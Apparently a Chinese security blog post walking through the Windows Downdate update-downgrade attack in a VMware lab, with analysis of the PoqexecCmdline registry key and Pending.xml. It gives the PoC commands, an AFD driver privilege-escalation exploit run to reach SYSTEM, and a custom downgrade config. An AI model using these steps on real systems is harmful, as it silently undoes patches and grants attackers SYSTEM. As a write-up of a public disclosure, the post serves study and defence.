SafeBreach 的安全研究员 Alon Leviev 在 Black Hat 2024 上揭示了两个漏洞CVE-2024-38202 和 CVE-2024-21302 ,可用于破坏 Windows 更新的完整性并重新引入数千个以前修复的漏洞,从而将修补后的系统重新变成 0day 漏洞的目标。
环境准备
Windows版本:Windows 11 消费者版本 23H2(2024年6月更新)x64
下载后导入到 VMware。
PoC 工具下载
https://github.com/SafeBreach-Labs/WindowsDowndate
仓库中也提供了 PyInstaller 构建好的可执行程序。
漏洞复现
运行 winver
看一下版本:Windows11 23H2 22631.3880
以管理员权限运行PoC程序,降级到 CVE-2023-21768 可攻击的环境(AFD 驱动):
1 | ./windows_downdate --config-xml examples/CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade/Config.xml |
需要重启,重启完成后运行cmd。
切换到 CVE-2023-21768 利用程序目录,运行 whomai
可知目前是普通用户。
找到当前 cmd 的 pid:
1 | tasklist | find "cmd.exe" |
运行 CVE-2023-21768 利用程序,指定要提升权限的进程为当前 cmd 进程:
1 | .\Windows_AFD_LPE_CVE-2023-21768.exe <pid> |
再次运行 whoami
发现已经拿到 system 权限。
漏洞分析
我能够使完全修补的 Windows 机器容易受到数千个过去漏洞的影响,将修复的漏洞变成零日漏洞,并使“完全修补”一词在世界上任何 Windows 机器上都毫无意义。
Windows 更新流程
首先需要知道的是,Windows 的更新需要客户端管理权限,而更新服务器会运行受信任的安装程序来完成更新。即使是 SYSTEM 权限,也不能修改 Windows 更细节机制拥有的系统文件。
Windows 更新流程包括以下步骤:
- 首先,客户端要求服务器执行它提供的更新文件夹中包含的更新。
- 然后,服务器验证更新文件夹的完整性。
- 验证后,服务器将对更新文件夹进行操作,以完成更新文件。它们被保存到服务器控制的文件夹中,客户端无法访问该文件夹。
- 服务器将操作列表保存到服务器控制的文件夹中,客户端无法访问该文件夹。操作列表名为 Pending.xml,其中包含要执行的更新操作。例如,它指定要更新的文件、源文件和目标文件等。
- 最后,当操作系统重启时,将对操作列表进行操作,并在重启过程中执行更新操作。
其中第5步的更新是由受信任的安装程序在服务器端强制执行的,管理员想要提权到受信任安装程序权限会被 EDR(Endpoint Detection and Response) 阻止。因此想要代替更新服务器来完成更新是不可能的。
作者一开始的目标是更新文件夹中的差异文件。但是 manifest 里硬编码了更新文件的哈希值,而更改这个值会破坏 manifest 文件的签名(在 catalog 文件中)。
漏洞点
于是作者把目标放在了操作列表(pending.xml)的修改上,并发现了注册表一个名为PoqexecCmdline
的有趣的 key,它包含了一个可以解析操作列表和操作列表路径的可执行程序。其路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Configuration\PoqexecCmdline
。
而且这个 key 不是由受信任的安装程序强制执行,意味着我们可以用管理员权限来修改添加这个key并修改其值。这个 key 的作用是什么呢?它标志着需要更新,受信任安装服务在检测到这个 key 后,会将其值作为命令执行,而这个命令可以用于解析操作列表及其路径,这意味着修改这个 key 也就完全控制了操作列表。
源代码中定义:
1 | def register_poqexec_cmd(poqexec_cmd: str) -> None: |
源代码中调用:
1 | def pend_update(pending_xml_path: str, impersonate_ti: bool) -> None: |
可以发现程序生成了一行完整的poqexec.exe
命令并将其写为了这个 key 的值,其中pending_xml_path
也由我们控制,其相应文件中内容就是我们之前运行的命令中--config-xml
选项后指定的 xml 文件内容。
这个xml,即操作列表(pending.xml)提供创建文件、删除文件、移动文件、硬链接文件、创建注册表键和值、删除键和值等功能。例如,为了降级,可以使用硬链接文件操作,source 文件将替换 destination:
1 | <HardlinkFile source="C:\UpdateDir\Source.exe" destination="C:\Windows\System32\Destination.exe"/> |
将 destination 设置为要降级的目标文件,将 source 替换为降级后的文件即可。
攻击流程
攻击的主要思想就是修改操作列表。但是还需要经过一些验证/找到触发更新操作的方式,主要流程如下:
- 将受信任安装服务设置为自启动,这样重启系统后会检查是否需要更新
- 在注册表中添加
PoqexecCmdline
及相应的值,指定操作列表路径 - 添加操作列表的标识符
标识符是一个动态数字,出于完整性目的,将它与操作列表的标识符进行比较。从代码中可以看到,在 xml 中设置的标识符要和在注册表中 PendingXmlIdentifier 的值一样。1
2
3
4
5
6
7
8PENDING_XML_IDENTIFIER = "916ae75edb30da0146730000dc1be027"
EMPTY_PENDING_XML = f"""<?xml version='1.0' encoding='utf-8'?>\n
<PendingTransaction Version="3.1" WcpVersion="10.0.22621.2567 (WinBuild.160101.0800)" Identifier="{PENDING_XML_IDENTIFIER}">
...
"""
...
set_pending_xml_identifier(PENDING_XML_IDENTIFIER)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16def set_pending_xml_identifier(pending_xml_identifier: str) -> None:
"""
Sets the Pendning.xml identifier in registry
:param pending_xml_identifier: The Pending.xml identifier
:return: None
:note: This API assumes the COMPONENTS hive is loaded to the registry
:note: If this identifier is not equal to the Pending.xml identifier, PoqExec.exe will fail parsing Pending.xml
"""
pending_xml_identifier_bytes = bytes(pending_xml_identifier, "utf-8")
pending_xml_identifier_unicode = b"\x00".join(bytes([byte]) for byte in pending_xml_identifier_bytes) + b"\x00"
set_reg_value(winreg.HKEY_LOCAL_MACHINE,
"COMPONENTS",
"PendingXmlIdentifier",
pending_xml_identifier_unicode,
winreg.REG_BINARY)
先前,在执行 PoC 代码后,我们重启并完成了对另一个漏洞的攻击。
在这个过程中:
- Windows 更新机制中的受信任安装服务自启动
- 检测到
PoqexecCmdline
,执行其中命令设置操作列表路径 - 受信任安装程序根据我们构建的 xml 文件进行更新,导致文件被替换成低版本脆弱文件
- 降级攻击完成
由于这个过程被 Windows 更新机制接管,因此十分隐蔽。
更多
原文中还提到绕过 VBS(Virtualization-Based Security) UEFI 锁等内容,这里只对降级攻击做简单介绍,感兴趣可以看原文。
自定义降级攻击
Windows 降级支持制作自定义降级。要制作自定义降级,你需要创建一个配置 XML 文件,然后将此配置 XML 输入工具即可。
在 CVE-2023-21768 的攻击中,我们用到的 XML 文件如下:
1 | <Configuration> |
原理非常简单,就是定义用于替换的文件路径和目标文件路径。
只要是 Windows 下与系统文件版本有关的漏洞就可以自定义降级攻击。
结语
Windows 对于安全边界的划分似乎总是异于常人啊。。。
Max Severity: Important
Attack Complexity: Low
Privileges Required: Low
Exploit Code Maturity: Proof-of-Concept
Remediation Level: Unavailable
前几条和最后一条竟能同时出现在同一则安全公告中,真乃神人也。
条评论